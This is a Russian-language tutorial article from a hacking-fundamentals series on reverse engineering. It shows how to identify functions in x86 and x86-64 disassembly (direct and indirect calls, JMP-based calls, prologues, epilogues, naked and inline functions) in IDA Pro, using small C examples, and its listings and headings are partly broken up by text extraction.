tikus, muss, farah, jardon,
yazevsoft@gmail.com
KPNC.

Исследование программ, написанных на языках высокого
уровня, традиционно начинается с реконструкции ключевых
структур исходного языка — функций, локальных и глобальных переменных, ветвлений, циклов и так далее. Это делает
дизассемблированный листинг более наглядным и значительно упрощает его анализ.

Перед тобой уже во второй раз обновленная версия цикла «Фундаментальные основы хакерства». В 2018 году Юрий Язев изменил текст Криса Касперски для соответствия новым версиям Windows и Visual Studio, а теперь внес
правки с учетом отладки программ для 64-разрядной архитектуры.
Читай также улучшенные версии прошлых статей цикла:
1. Учимся анализировать программы для x86-64 с нуля
2. Используем отладчик для анализа 64-разрядных программ в Windows
3. Находим реальные адреса инструкций в исполняемых файлах x86-64
4. Осваиваемразные способы поиска защит в программах для x86-64
5. Мастер-класс по анализу исполняемых файлов в IDA Pro
Все новые версии статей доступны без платной подписки.

Цикл «Фундаментальные основы хакерства» со всеми обновлениями опубликован в виде книги, купить ее по выгодной цене ты можешь на сайте издательства «Солон-пресс».

Современные дизассемблеры достаточно интеллектуальны и львиную долю
распознавания ключевых структур берут на себя. В частности, IDA Pro
успешно справляется с идентификацией стандартных библиотечных функций,
локальных переменных, адресуемых через регистр RSP, case-ветвлений
и прочего. Однако порой IDA ошибается, вводя исследователя в заблуждение, к тому же высокая стоимость IDA Pro не всегда оправдывает применение. Например, студентам, изучающим ассемблер (а лучшее средство изучения ассемблера — дизассемблирование чужих программ), «Ида» едва ли
по карману.
Разумеется, на IDA свет клином не сошелся, существуют и другие дизассемблеры — скажем, тот же DUMPBIN, входящий в штатную поставку SDK.
Почему бы на худой конец не воспользоваться им? Конечно, если под рукой
нет ничего лучшего, сойдет и DUMPBIN, но в этом случае об интеллектуальности дизассемблера придется забыть и пользоваться исключительно своей
головой.
Первым делом мы познакомимся с результатами работы неоптимизирующих компиляторов — анализ их кода относительно прост и вполне доступен для понимания даже новичкам в программировании. Затем, освоившись с дизассемблером, перейдем к вещам более сложным — оптимизирующим компиляторам, которые генерируют очень хитрый, запутанный
и витиеватый код.

Материалы к статье на GitHub

ÈÄÅÍÒÈÔÈÊÀÖÈß ÔÓÍÊÖÈÉ
Функция (также называемая процедурой или подпрограммой) — основная
структурная единица процедурных и объектно ориентированных языков,
поэтому дизассемблирование кода обычно начинается с отождествления
функций и идентификации передаваемых им аргументов. Строго говоря, термин «функция» присутствует не во всех языках, но даже там, где он присутствует, его определение варьируется от языка к языку.
Не вдаваясь в детали, мы будем понимать под функцией обособленную
последовательность команд, вызываемую из различных частей программы.
Функция может принимать один и более аргументов, а может не принимать
ни одного; может возвращать результат своей работы, а может и не возвращать — это уже не суть важно. Ключевое свойство функции — возвращение
управления на место ее вызова, а ее характерный признак — множественный
вызов из различных частей программы (хотя некоторые функции вызываются
лишь из одного места).
Откуда функция знает, куда следует возвратить управление? Очевидно,
вызывающий код должен предварительно сохранить адрес возврата и вместе
с прочими аргументами передать его вызываемой функции. Существует множество способов решения этой проблемы: можно, например, перед вызовом
функции поместить в ее конец безусловный переход на адрес возврата, можно сохранить адрес возврата в специальной переменной и после завершения функции выполнить косвенный переход, используя эту переменную
как операнд инструкции jump...
Не останавливаясь на обсуждении сильных и слабых сторон каждого
метода, отметим, что компиляторы в подавляющем большинстве случаев
используют специальные машинные команды CALL и RET, соответственно
предназначенные для вызова функций и возврата из них.
Инструкция CALL закидывает адрес следующей за ней инструкции на вершину стека, а RET стягивает и передает на него управление. Тот адрес,
на который указывает инструкция CALL, и есть адрес начала функции.
А замыкает функцию инструкция RET (но внимание: не всякий RET обозначает
конец функции!).
Таким образом, распознать функцию можно двояко: по перекрестным
ссылкам, ведущим к машинной инструкции CALL, и по ее эпилогу, завершающемуся инструкцией RET. Перекрестные ссылки и эпилог в совокупности
позволяют определить адреса начала и конца функции. Немного забегая вперед, заметим, что в начале многих функций присутствует характерная последовательность команд, называемая прологом, которая также пригодна
и для идентификации функций. А теперь рассмотрим все эти темы поподробнее.
ÍÅÏÎÑÐÅÄÑÒÂÅÍÍÛÉ ÂÛÇÎÂ ÔÓÍÊÖÈÈ
Просматривая дизассемблерный код, находим все инструкции CALL —
содержимое их операнда и будет искомым адресом начала функции. Адрес
невиртуальных функций, вызываемых по имени, вычисляется еще на стадии
компиляции, и операнд инструкции CALL в таких случаях представляет собой
непосредственное значение. Благодаря этому адрес начала функции выявляется простым синтаксическим анализом: ищем контекстным поиском все
подстроки CALL и запоминаем (записываем) непосредственные операнды.
Рассмотрим следующий пример (Listing1):
void func();
int main()
{
int a;
func();
a=0x666;
func();
}
void func()
{
int a;
a++;
}

Чтобы откомпилировать пример для 64-битной платформы, надо открыть
соответствующую консоль — x64 Native Tools Command Prompt for VS — и уже
в ней выполнить команду
cl.exe main.cpp /EHcs

Результат компиляции в IDA Pro должен выглядеть приблизительно так:
.text:0000000140001020 main
.text:0000000140001020 var_18
.text:0000000140001020
.text:0000000140001020

proc near
= dword ptr -18h
sub

rsp, 38h

Вот мы выловили инструкцию call с непосредственным операндом, представляющим собой адрес начала функции. Точнее, ее смещение в кодовом сегменте (в данном случае в сегменте .text). Теперь можно перейти к строке .
text:0000000140001000 и, дав функции собственное имя, заменить операнд
инструкции call конструкцией «call Имямоейфункции».
.text:0000000140001024
.text:0000000140001029
.text:0000000140001031
.text:0000000140001036
.text:0000000140001038

call
mov
call
xor
add

sub_140001000
[rsp+38h+var_18], 666h
sub_140001000
eax, eax
rsp, 38h

Вот нам встретилась инструкция возврата из функции, однако не факт, что
это действительно конец функции, ведь функция может иметь и несколько
точек выхода. Однако смотри: следом за ret расположено начало следующей
функции. Поскольку функции не могут перекрываться, выходит, что данный
ret — конец функции!
.text:000000014000103C
.text:000000014000103C main

retn
endp

.text:0000000140001040 sub_140001040
.text:0000000140001040
.text:0000000140001042
.text:0000000140001046
.........

proc near
push
rbx
sub
rsp, 20h
mov
ecx, 1

Судя по адресам, «наша функция» в листинге расположена выше функции
main:
.text:0000000140001000 sub_140001000
.text:0000000140001000 var_18

proc near
= dword ptr -18h

На эту строку ссылаются операнды нескольких инструкций call.Следовательно, это адрес начала «нашей функции».
.text:0000000140001000
sub
.text:0000000140001004
mov
.text:0000000140001007
inc
.text:0000000140001009
mov
.text:000000014000100C
add
.text:0000000140001010
retn
.text:0000000140001010 sub_140001000

rsp, 18h
eax, [rsp+18h+var_18]
eax
[rsp+18h+var_18], eax
rsp, 18h
endp

Как видишь, все очень просто.
ÂÛÇÎÂ ÔÓÍÊÖÈÈ ÏÎ ÓÊÀÇÀÒÅËÞ
Однако задача заметно усложняется, если программист (или компилятор)
использует косвенные вызовы функций, передавая их адрес в регистре
и динамически вычисляя его (адрес, а не регистр!) на стадии выполнения
программы. Именно так, в частности, реализована работа с виртуальными
функциями, однако в любом случае компилятор должен каким-то образом
сохранить адрес функции в коде. Значит, его можно найти и вычислить!
Еще проще загрузить исследуемое приложение в отладчик, установить
на «подследственную» инструкцию CALL точку останова и, дождавшись
всплытия отладчика, посмотреть, по какому адресу она передаст управление.
Рассмотрим следующий пример (Listing2):
int func()
{
return 0;
}
int main()
{
int (*a)();
a = func;
a();
}

Результат его компиляции должен в общем случае выглядеть так (функция
main):
.text:0000000140001000
.text:0000000140001000
.text:0000000140001002
.text:0000000140001002
.text:0000000140001010
.text:0000000140001010
.text:0000000140001010
.text:0000000140001010
.text:0000000140001010
.text:0000000140001014
.text:000000014000101B

loc_140001000:
xor
eax, eax
retn
; ------------------------------------------main
proc near
var_18

= qword ptr -18h
sub
lea
mov

rsp, 38h
rax, loc_140001000
[rsp+38h+var_18], rax

Вот инструкция CALL, осуществляющая косвенный вызов функции по адресу,
содержащемуся в ячейке [rsp+38h+var_18]. Как узнать, что же там содержится? Поднимем глазки строчкой выше и обнаружим: lea rax,
loc_140001000. Ага! Значит, управление передается по смещению
loc_140001000, где располагается адрес начала функции! Теперь осталось
только дать функции осмысленное имя.
.text:0000000140001020
.text:0000000140001024
.text:0000000140001026
.text:000000014000102A
.text:000000014000102A main

call
xor
add
retn
endp

Продолжение статьи



[rsp+38h+var_18]
eax, eax
rsp, 38h

← НАЧАЛО СТАТЬИ

ВЗЛОМ

ИЩЕМ СТРУКТУРЫ ЯЗЫКОВ ВЫСОКОГО
УРОВНЯ
В ПРОГРАММАХ ДЛЯ X86-64

ÂÛÇÎÂ ÔÓÍÊÖÈÈ ÏÎ ÓÊÀÇÀÒÅËÞ Ñ ÊÎÌÏËÅÊÑÍÛÌ
ÂÛ×ÈÑËÅÍÈÅÌ ÖÅËÅÂÎÃÎ ÀÄÐÅÑÀ
В некоторых достаточно немногочисленных программах встречается и косвенный вызов функции с комплексным вычислением ее адреса. Рассмотрим
следующий пример (Listing3):
int func_1()
{
return 0;
}
int func_2()
{
return 0;
}
int func_3()
{
return 0;
}
int main()
{
int x;
int a[3]={(int) func_1,(int) func_2, (int) func_3};
int (*f)();
for (x=0;x < 3;x++)
{
f=(int (*)()) a[x]; f();
}
}

Результат дизассемблирования этого кода в общем случае должен выглядеть
так:
.text:0000000140001030 main
proc near
.text:0000000140001030
.text:0000000140001030 var_38
= dword ptr -38h
.text:0000000140001030 var_30
= qword ptr -30h
.text:0000000140001030 var_28
= dword ptr -28h
.text:0000000140001030 var_24
= dword ptr -24h
.text:0000000140001030 var_20
= dword ptr -20h
.text:0000000140001030 var_18
= qword ptr -18h
.text:0000000140001030
.text:0000000140001030
sub
rsp, 58h
.text:0000000140001034
mov
rax, cs:__security_
cookie
.text:000000014000103B
xor
rax, rsp
.text:000000014000103E
mov
[rsp+58h+var_18], rax
.text:0000000140001043
lea
rax, loc_140001000
.text:000000014000104A
mov
[rsp+58h+var_28], eax
.text:000000014000104E
lea
rax, sub_140001010
.text:0000000140001055
mov
[rsp+58h+var_24], eax
.text:0000000140001059
lea
rax, sub_140001020
.text:0000000140001060
mov
[rsp+58h+var_20], eax
.text:0000000140001064
mov
[rsp+58h+var_38], 0
.text:000000014000106C
jmp
short loc_140001078
.text:
000000014000106E ; ---------------------------------------------.text:000000014000106E
.text:000000014000106E loc_14000106E:
; CODE XREF:
main+62↓j
.text:000000014000106E
mov
eax, [rsp+58h+var_38]
.text:0000000140001072
inc
eax
.text:0000000140001074
mov
[rsp+58h+var_38], eax
.text:0000000140001078
.text:0000000140001078 loc_140001078:
; CODE XREF:
main+3C↑j
.text:0000000140001078
cmp
[rsp+58h+var_38], 3
.text:000000014000107D
jge
short loc_140001094
.text:000000014000107F
movsxd rax, [rsp+58h+var_38]
.text:0000000140001084
movsxd rax, [rsp+rax*4+58h+var_
28]
.text:0000000140001089
mov
[rsp+58h+var_30], rax
.text:000000014000108E
call
[rsp+58h+var_30]
.text:0000000140001092
jmp
short loc_14000106E
.text:
0000000140001094 ; --------------------------------------------.text:0000000140001094
.text:0000000140001094 loc_140001094:
; CODE XREF:
main+4D↑j
.text:0000000140001094
xor
eax, eax
.text:0000000140001096
mov
rcx, [rsp+58h+var_18]
.text:000000014000109B
xor
rcx, rsp
.text:000000014000109E
call
__security_check_
cookie
.text:00000001400010A3
add
rsp, 58h
.text:00000001400010A7
retn

В строке call [rsp+58h+var_30] происходит косвенный вызов функции.
А что у нас в [rsp+58h+var_30]? Поднимаем глаза на одну строку вверх —
в [rsp+58h+var_30] у нас значение rax. А чему же равен сам rax? Прокручиваем еще одну строку вверх — rax равен содержимому ячейки [
rsp+rax*4+58h+var_28]. Вот дела! Мало того, что нам надо узнать содержимое этой ячейки, так еще и предстоит вычислить ее адрес!
Чему равен RAX в этом выражении? Содержимому [rsp+58h+var_38].
А оно чему равно? «Сейчас выясним...» — бормочем мы себе под нос, прокручивая экран дизассемблера вверх. Ага, нашли: в строке 0x140001074
в него загружается содержимое EAX! Какая радость! И долго мы будем так
блуждать по коду?
Конечно, можно, потратив неопределенное количество времени, усилий
и бодрящего напитка, реконструировать весь ключевой алгоритм целиком
(тем более что мы практически подошли к концу анализа), но где гарантия,
что при этом не будут допущены ошибки?
Гораздо быстрее и надежнее загрузить исследуемую программу
в отладчик, установить бряк на строку .text:000000014000108E и, дождавшись всплытия окна отладчика, посмотреть, что у нас расположено
в ячейке [rsp+58h+var_30]. Отладчик будет всплывать трижды, причем каждый раз показывать новый адрес! Заметим, что определить этот факт в дизассемблере можно только после полной реконструкции алгоритма.
Однако не стоит питать излишних иллюзий о мощи отладчика. Программа
может тысячу раз вызывать одну и ту же функцию, а на тысяча первый — вызвать совсем другую. Отладчик бессилен это определить. Ведь вызов такой
функции может произойти в непредсказуемый момент, например при определенном сочетании времени, обрабатываемых программой данных
и текущей фазы Луны. Ну не будем же мы целую вечность гонять программу
под отладчиком?
Дизассемблер — дело другое. Полная реконструкция алгоритма позволит
однозначно и гарантированно отследить все адреса косвенных вызовов. Вот
потому дизассемблер и отладчик должны скакать в одной упряжке! Напоследок предлагаю взглянуть на такой участок дизассемблированного листинга:
.text:000000014000103E
.text:0000000140001043
.text:000000014000104A
.text:000000014000104E
.text:0000000140001055
.text:0000000140001059

mov
lea
mov
lea
mov
lea

[rsp+58h+var_18], rax
rax, loc_140001000
[rsp+58h+var_28], eax
rax, sub_140001010
[rsp+58h+var_24], eax
rax, sub_140001020

Воспользуемся средствами IDA и посмотрим, что загружается в ячейки
памяти [rsp+…]. А это как раз адреса трех наших функций, последовательно
размещенных компилятором друг за дружкой:
.text:0000000140001000 loc_140001000:
.text:0000000140001000
.text:0000000140001002

xor
retn

.text:0000000140001010 sub_140001010
.text:0000000140001010
.text:0000000140001012
.text:0000000140001012 sub_140001010

proc near
xor
eax, eax
retn
endp

.text:0000000140001020 sub_140001020
.text:0000000140001020
.text:0000000140001022
.text:0000000140001022 sub_140001020

proc near
xor
eax, eax
retn
endp

eax, eax

«ÐÓ×ÍÎÉ» ÂÛÇΠÔÓÍÊÖÈÈ ÈÍÑÒÐÓÊÖÈÅÉ JMP
Самый тяжелый случай представляют собой «ручные» вызовы функции командой JMP с предварительной засылкой в стек адреса возврата. Вызов через
JMP в общем случае выглядит так: PUSH ret_addrr / JMP func_addr, где
ret_addrr и func_addr — непосредственные или косвенные адреса возврата и начала функции соответственно. Кстати, заметим, что команды PUSH
и JMP не всегда следуют одна за другой и порой бывают разделены другими
командами.
Возникает резонный вопрос: чем же так плох CALL и зачем прибегать
к JMP? Дело в том, что функция, вызванная по CALL, после возврата управления материнской функции всегда передает управление команде, следующей
за CALL. В ряде случаев (например, при структурной обработке исключений)
возникает необходимость после возврата из функции продолжать выполнение не со следующей за CALL командой, а совсем с другой ветки программы. Тогда-то и приходится вручную заносить требуемый адрес возврата
и вызывать дочернюю функцию через JMP.
Идентифицировать такие функции очень сложно — контекстный поиск
ничего не дает, поскольку команд JMP, использующихся для локальных
переходов, в теле любой программы очень и очень много — попробуй-ка
проанализируй их все! Если же этого не сделать, из поля зрения выпадут сразу две функции — вызываемая функция и функция, на которую передается
управление после возврата. К сожалению, быстрых решений этой проблемы
не существует, единственная зацепка — вызывающий JMP практически всегда
выходит за границы функции, в теле которой он расположен. Определить же
границы функции можно по эпилогу. Рассмотрим следующий пример
(Listing4):
int funct()
{
return 0;
}
int main()
{
__asm
{
LEA ESI, return_addr
PUSH ESI
JMP funct
return_addr:
}
}

Поскольку присутствующее в этом коде ключевое слово asm платформенно
зависимое и поддерживается только на x86, скомпилируем этот пример 32битным компилятором. Результат компиляции в общем случае должен выглядеть так:
.text:00401010
.text:00401010
.text:00401010
.text:00401010
.text:00401010
.text:00401010
.text:00401010
.text:00401011
.text:00401013
.text:00401014
.text:0040101A
.text:0040101B
...

_main proc near
argc
argv
envp

= dword ptr
= dword ptr
= dword ptr
push
mov
push
lea
push
jmp

8
0Ch
10h

ebp
ebp, esp
esi
esi, loc_401020
esi
sub_401000

Смотри, казалось бы, тривиальный безусловный переход, что в нем такого?
Ан нет! Это не простой переход, это замаскированный вызов функции! Откуда
он следует? Давай-ка перейдем по смещению sub_401000 и посмотрим:
.text:00401000 sub_401000
.text:00401000
.text:00401001
.text:00401003
.text:00401005
.text:00401006
.text:00401006 sub_401000

proc near
push
ebp
mov
ebp, esp
xor
eax, eax
pop
ebp
retn
endp

Как ты думаешь, куда этот ret возвращает управление? Естественно,
по адресу, лежащему на верхушке стека. А что у нас лежит на стеке? PUSH
EBP из строки 0x401000, обратно выталкивается инструкцией POP из строки
0x401005... Возвращаемся назад, к месту безусловного перехода, и начинаем медленно прокручивать экран дизассемблера вверх, отслеживая все
обращения к стеку. Ага, попалась птичка!
Инструкция PUSH ESI из строки 40101A закидывает на вершину стека
содержимое регистра ESI, а он сам, в свою очередь, строкой выше принимает «на грудь» значение loc_401020 — это и есть адрес начала функции,
вызываемой командой JMP (вернее, не адрес, а смещение, но это не принципиально важно):
.text:00401020 loc_401020:
.text:00401020
.text:00401021
.text:00401022
.text:00401022 _main

pop
pop
retn
endp

esi
ebp

ÀÂÒÎÌÀÒÈ×ÅÑÊÀß ÈÄÅÍÒÈÔÈÊÀÖÈß ÔÓÍÊÖÈÉ ÏÎÑÐÅÄÑÒÂÎÌ
IDA PRO
Дизассемблер IDA Pro способен анализировать операнды инструкций CALL,
что позволяет ему автоматически разбивать программу на функции. Причем
IDA вполне успешно справляется с большинством косвенных вызовов. Между
тем современные версии дизассемблера на раз-два справляются с комплексными и «ручными» вызовами функций командой JMP.

«Ида» успешно распознала «ручной» вызов функции
ÏÐÎËÎÃ
На платформе IA-32 большинство неоптимизирующих компиляторов помещают в начало функции следующий код, называемый прологом:
push ebp
mov ebp, esp
sub esp, xx

К сожалению, на x64 нет такой стройной последовательности инструкций.
У каждой функции пролог существенно отличается. Поэтому рассмотрим пролог функций для x86.
В общих чертах назначение пролога сводится к следующему: если регистр
EBP используется для адресации локальных переменных (как часто и бывает),
то перед использованием он должен быть сохранен в стеке (иначе вызываемая функция «сорвет крышу» материнской), затем в EBP копируется текущее
значение регистра указателя вершины стека (ESP) — происходит так называемое открытие кадра стека, и значение ESP уменьшается на размер области
памяти, выделенной под локальные переменные.
Последовательность PUSH EBP / MOV EBP,ESP / SUB ESP,xx может служить хорошей сигнатурой, чтобы найти все функции в исследуемом файле,
включая и те, на которые нет прямых ссылок. Такой прием, в частности,
использует в своей работе IDA Pro, однако оптимизирующие компиляторы
умеют адресовать локальные переменные через регистр ESP и используют
EBP, как и любой другой регистр общего назначения. Пролог оптимизированных функций состоит из одной лишь команды SUB ESP, xxx — последовательность слишком короткая для использования ее в качестве сигнатуры функции, увы. Более подробный рассказ об эпилогах функций нас ждет впереди.

Продолжение статьи



← НАЧАЛО СТАТЬИ

ВЗЛОМ

ИЩЕМ СТРУКТУРЫ ЯЗЫКОВ ВЫСОКОГО
УРОВНЯ
В ПРОГРАММАХ ДЛЯ X86-64

ÝÏÈËÎÃ
С эпилогом такая же ситуация, на x64 отсутствует постоянная последовательность инструкций. Однако, поскольку 32-битных приложений так много, что их
придется анализировать еще вечность, нам необходимо знать, как выглядит
эпилог в программах на x86.
В конце своей жизни функция закрывает кадр стека, перемещая указатель
вершины стека «вниз», и восстанавливает прежнее значение EBP (если только оптимизирующий компилятор не адресовал локальные переменные через
ESP, используя EBP как обычный регистр общего назначения). Эпилог функции может выглядеть двояко: либо ESP увеличивается на нужное значение
командой ADD, либо в него копируется значение EBP, указывающее на низ
кадра стека. Обобщенный код эпилога функции выглядит так.
Эпилог 1:
pop
add
retn

ebp
esp, 64h

Эпилог 2:
mov
pop
retn

esp, ebp
ebp

Важно отметить: между командами POP EBP / ADD ESP, xxx и MOV ESP,EBP /
POP EBP могут находиться и другие команды — они не обязательно должны
следовать вплотную друг к другу. Поэтому для поиска эпилогов контекстный
поиск непригоден — требуется применять поиск по маске.
Если функция написана с учетом соглашения PASCAL, то ей приходится
самостоятельно очищать стек от аргументов. В подавляющем большинстве
случаев это делается инструкцией RET n, где n — количество байтов, снимаемых из стека после возврата. Функции же, соблюдающие С-соглашение,
предоставляют очистку стека вызывающему их коду и всегда оканчиваются
командой RET. API-функции Windows представляют собой комбинацию соглашений С и Pascal — аргументы заносятся в стек справа налево, но очищает
стек сама функция.
Таким образом, RET может служить достаточным признаком эпилога функции, но не всякий эпилог — это конец. Если функция имеет в своем теле несколько операторов return (как часто и бывает), компилятор в общем случае
генерирует для каждого из них свой собственный эпилог. Необходимо обратить внимание, находится ли за концом эпилога новый пролог, или продолжается код старой функции.
Также нельзя забывать и о том, что компиляторы обычно (но не всегда!)
не помещают в исполняемый файл код, никогда не получающий управления.
Иначе говоря, у функции будет всего один эпилог, а все находящееся после
первого return будет выброшено как ненужное. Между тем не стоит спешить
вперед паровоза. Откомпилируем с параметрами по умолчанию следующий
пример (Listing5):
int func(int a)
{
return a++;
a=1/a;
return a;
}
int main()
{
func(1);
}

Откомпилированный результат будет выглядеть так (приведен код только
функции func):
.text:00401000 sub_401000
proc near
.text:00401000
.text:00401000 var_4
= dword ptr -4
.text:00401000 arg_0
= dword ptr 8
.text:00401000
.text:00401000
push
ebp
.text:00401001
mov
ebp, esp
.text:00401003
push
ecx
.text:00401004; Копирование значения аргумента в регистр EAX.
.text:00401004
mov
eax, [ebp+arg_0]
.text:00401007; Перекладываем его в переменную var_4.
.text:00401007
mov
[ebp+var_4], eax
.text:0040100A; Значение аргумента в ECX.
.text:0040100A
mov
ecx, [ebp+arg_0]
.text:0040100D; Производим инкремент значения в регистре.
.text:0040100D
add
ecx, 1
.text:00401010; Инкрементированное значение пишем в аргумент,
.text:00401010; который служит переменной.
.text:00401010
mov
[ebp+arg_0], ecx
.text:00401013; В EAX помещается начальное значение аргумента,
.text:00401013; оно и возвращается.
.text:00401013
mov
eax, [ebp+var_4]
.text:00401016; Осуществляем безусловный переход на эпилог функции.
.text:00401016
jmp short loc_401027
.text:00401018; -----------------------------------------.text:00401018; В EAX помещаем 1.
.text:00401018
mov
eax, 1
.text:0040101D; Расширяем EAX до EDX:EAX (нужно для деления).
.text:0040101D
cdq
.text:0040101E; Выполняем деление единицы на аргумент.
.text:0040101E
idiv
[ebp+arg_0]
.text:00401021; Частное помещаем в переменную.
.text:00401021
mov [ebp+arg_0], eax
.text:00401024; Возвращаем обратно в регистр.
.text:00401024
mov eax, [ebp+arg_0]
.text:
00401024 ; Код для деления остался, компилятор не посчитал нужным
.text:00401024 ; его убрать, хотя он недостижим.
.text:00401027
.text:00401027 loc_401027:
; CODE XREF: sub_401000+16↑j
.text:00401027; При этом эпилог только один.
.text:00401027 mov
esp, ebp
.text:00401029
pop
ebp
.text:0040102A
retn
.text:0040102A sub_401000
endp

Теперь посмотрим, какой код сгенерирует компилятор, когда внеплановый
выход из функции происходит при срабатывании некоторого условия
(Listing6):
int func(int a)
{
if (a != 0)
return a++;
return 1/a;
}
int main()
{
func(1);
}

Результат компиляции (только func):
.text:00401000 sub_401000
proc near
; CODE XREF: _
main+5↓p
.text:00401000
.text:00401000 var_4
= dword ptr -4
.text:00401000 arg_0
= dword ptr 8
.text:00401000
.text:00401000
push
ebp
.text:00401001
mov
ebp, esp
.text:00401003
push
ecx
.text:00401004; Сравниваем аргумент функции с нулем.
.text:00401004
cmp [ebp+arg_0], 0
.text:00401008; Если они равны, переходим на метку;
.text:00401008
jz short loc_40101E
.text:0040100A; Если же не равны, помещаем значение аргумента в
регистр EAX.
.text:0040100A
mov
eax, [ebp+arg_0]
.text:0040100D; Оттуда — в переменную var_4
.text:0040100D
mov
[ebp+var_4], eax
.text:00401010; Значение аргумента копируется в регистр
ECX, а последний инкрементируем.
.text:00401010
mov
ecx, [ebp+arg_0]
.text:00401013
add
ecx, 1
.text:
00401016; Инкрементированное значение помещаем в аргумент,
выступающий переменной.
.text:00401016
mov
[ebp+arg_0], ecx
.text:00401019; В
EAX помещаем начальное значение аргумента, его и возвращаем.
.text:00401019
mov
eax, [ebp+var_4]
.text:0040101C; Переход на эпилог.
.text:0040101C
jmp
short loc_401027
.text:0040101E ; -----------------------------------------.text:0040101E
.text:0040101E loc_40101E:
; CODE XREF: sub_401000+8↑j
.text:0040101E; В EAX помещаем 1.
.text:0040101E
mov
eax, 1
.text:00401023; Расширяем EAX до EDX:EAX (нужно для деления).
.text:00401023
cdq
.text:00401024; Деление EDX:EAX, где находится 1, на аргумент,
равный 0.
.text:00401024
idiv [ebp+arg_0]
.text:00401027
.text:00401027 loc_401027:
; CODE XREF: sub_401000+1C↑j
.text:00401027; Это явно эпилог.
.text:00401027
mov
esp, ebp
.text:00401029
pop
ebp
.text:0040102A
retn
.text:0040102A sub_401000
endp

Как и в предыдущем случае, компилятор создал только один эпилог. Обрати
внимание: в начале функции в строке 0x401004 аргумент сравнивается
с нулем, если условие выполняется, происходит переход на метку
loc_40101E, где выполняется деление, за которым сразу следует эпилог.
Если же условие в строке 0x401004 не соблюдено, выполняется сложение
и происходит безусловный прыжок на эпилог.
Ñïåöèàëüíîå çàìå÷àíèå
Начиная с процессора 80286, в наборе команд появились две инструкции —
ENTER и LEAVE, предназначенные специально для открытия и закрытия кадра
стека. Однако они практически никогда не используются современными компиляторами. Почему?
Причина в том, что ENTER и LEAVE очень медлительны, намного медлительнее PUSH EBP / MOV EBP,ESP / SUB ESB, xxx и MOV ESP,EBP / POP EBP. Так,
на старом добром Pentium ENTER выполняется за десять тактов, а приведенная последовательность команд — за семь. Аналогично LEAVE требует пять
тактов, хотя ту же операцию можно выполнить за два (и даже быстрее, если
разделить MOV ESP,EBP / POP EBP какой-нибудь командой).
Поэтому современный исследователь никогда не столкнется ни с ENTER,
ни с LEAVE. Хотя помнить об их назначении будет нелишне. Мало ли, вдруг
придется дизассемблировать древние программы или программы, написанные на ассемблере, — не секрет, что многие пишущие на ассемблере очень
плохо знают тонкости работы процессора и их «ручная оптимизация» заметно
уступает компилятору по производительности.
«ÃÎËÛÅ» (NAKED) ÔÓÍÊÖÈÈ
Компилятор Microsoft Visual C++ поддерживает нестандартный квалификатор
naked, позволяющий программистам создавать функции без пролога и эпилога. Компилятор даже не помещает в конце функции RET, и это приходится
делать «вручную», прибегая к ассемблерной вставке __asm{ret} (использование return не приводит к желаемому результату).
Вообще-то поддержка naked-функций задумывалась исключительно
для написания драйверов на чистом С (с небольшой примесью ассемблерных включений), но она нашла неожиданное признание и среди разработчиков защитных механизмов. Действительно, приятно иметь возможность
«ручного» создания функций и не беспокоиться, что их непредсказуемым
образом «изуродует» компилятор.
Для нас же, кодокопателей, в первом приближении это означает, что
в программе может встретиться одна или несколько функций, не содержащих
ни пролога, ни эпилога. Ну и что в этом страшного? Оптимизирующие компиляторы так же выкидывают пролог, а от эпилога оставляют один лишь RET,
но функции элементарно идентифицируются по вызывающей их инструкции
CALL.
ÈÄÅÍÒÈÔÈÊÀÖÈß ÂÑÒÐÀÈÂÀÅÌÛÕ (INLINE) ÔÓÍÊÖÈÉ
Самый эффективный способ избавиться от накладных расходов на вызов
функций — не вызывать их. В самом деле, почему бы не встроить код функции
непосредственно в саму вызывающую функцию? Конечно, это ощутимо увеличит размер (и тем ощутимее, чем из больших мест функция вызывается),
но зато значительно увеличит скорость выполнения программы (и тем значительнее, чем чаще развернутая функция вызывается).
Чем плоха развертка функций для исследования программы? Прежде всего, она увеличивает размер материнской функции и делает ее код менее наглядным — вместо CALL / TEST EAX,EAX / JZ xxx с бросающимся в глаза
условным переходом мы видим кучу ничего не напоминающих инструкций,
в логике работы которых еще предстоит разобраться.
Встроенные функции не имеют ни собственного пролога, ни эпилога, их
код и локальные переменные (если таковые имеются) полностью вживлены
в вызывающую функцию, результат компиляции выглядит в точности так,
как будто бы никакого вызова функции и не было. Единственная зацепка —
встраивание функции неизбежно приводит к дублированию ее кода во всех
местах вызова, а это хоть и с трудом, но можно обнаружить. С трудом —
потому, что встраиваемая функция, становясь частью вызывающей функции,
всквозную оптимизируется в контексте последней, что приводит к значительным вариациям кода.
Рассмотрим следующий пример, чтобы увидеть, как компилятор оптимизирует встраиваемую функцию (Listing7):
#include
inline int max(int a, int b)
{
if(a > b)
return a;
return b;
}
int main(int argc, char **argv)
{
printf("%x\n",max(0x666,0x777));
printf("%x\n",max(0x666,argc));
printf("%x\n",max(0x666,argc));
return 0;
}

Результат его компиляции будет иметь следующий вид (функция main):
.text:0000000140001000 main
proc near
.text:0000000140001000
.text:0000000140001000 arg_0
= dword ptr 8
.text:0000000140001000 arg_8
= qword ptr 10h
.text:0000000140001000; Полученные аргументы помещаются
.text:0000000140001000; в локальные переменные.
.text:0000000140001000
mov
[rsp+arg_8], rdx
.text:0000000140001005
mov
[rsp+arg_0], ecx
.text:0000000140001009
sub
rsp, 28h
.text:0000000140001009; Аргументы помещаются в регистры EDX, ECX,
.text:0000000140001009; что говорит нам об их подготовке
.text:
0000000140001009; к передаче в качестве параметров другой функции.
.text:000000014000100D
mov
edx, 777h
.text:0000000140001012
mov
ecx, 666h
.text:0000000140001012; Вызов сравнивающей функции.
.text:0000000140001017
call
sub_140001070
.text:000000014000101C
mov
edx, eax
.text:000000014000101C; Возвращенный предыдущей функцией результат
.text:000000014000101C; передаем функции printf вместе с форматной
.text:000000014000101C; строкой.
.text:000000014000101E
lea
rcx, Format
; "%x\
n"
.text:000000014000101E; Вызов функции вывода значений на экран.
.text:0000000140001025
call
printf
.text:0000000140001025; История повторяется, происходит подготовка
.text:0000000140001025; параметров для вызова функции.
.text:000000014000102A
mov
edx, [rsp+28h+arg_0]
.text:000000014000102E
mov
ecx, 666h
.text:000000014000102E; Вызов «встраиваемой» функции max,
.text:000000014000102E; но, как мы видим, встраиваемой она не стала.
.text:0000000140001033
call
sub_140001070
.text:0000000140001033; Первый параметр для printf — возвращенное
.text:0000000140001033; max число, второй параметр — форматная
.text:0000000140001033; строка.
.text:0000000140001038
mov
edx, eax
.text:000000014000103A
lea
rcx, asc_140016324 ; "%x\
n"
.text:000000014000103A; Выводим параметры на экран посредством
printf.
.text:0000000140001041
call
printf
